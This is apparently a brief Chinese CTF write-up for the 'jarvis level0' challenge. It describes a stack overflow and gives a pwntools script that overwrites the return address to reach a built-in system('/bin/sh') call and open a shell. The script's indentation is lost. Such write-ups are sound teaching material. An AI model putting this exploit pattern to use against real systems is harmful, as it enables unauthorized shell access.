Keep Calm and Carry On

jarvis-level0

level0

0x01 分析

  1. 查看文件类型、启用的安全机制:

  2. 使用IDA发现栈溢出,以及system(“/bin/sh”)

0x02 利用思路

最简单的栈溢出,直接将返回地址覆盖为system(“/bin/sh”)的地址即可!

0x03 利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 最简单的栈溢出,而且程序中存在这system("/bin/sh")函数
# 直接将返回地址覆盖为这个函数的地址即可
from pwn import *

flag = True
if flag:
elf = ELF('./level0')
p = process(elf.path)
# gdb.attach(p, 'b main')
else:
host = '127.0.0.1'
port = 8888
p = remote(host, port)
sys_binsh_addr = 0x0000000000400596
payload = 'A' * 0x80 + 'BBBBBBBB' + p64(sys_binsh_addr)
p.recvline()
p.sendline(payload)
p.interactive()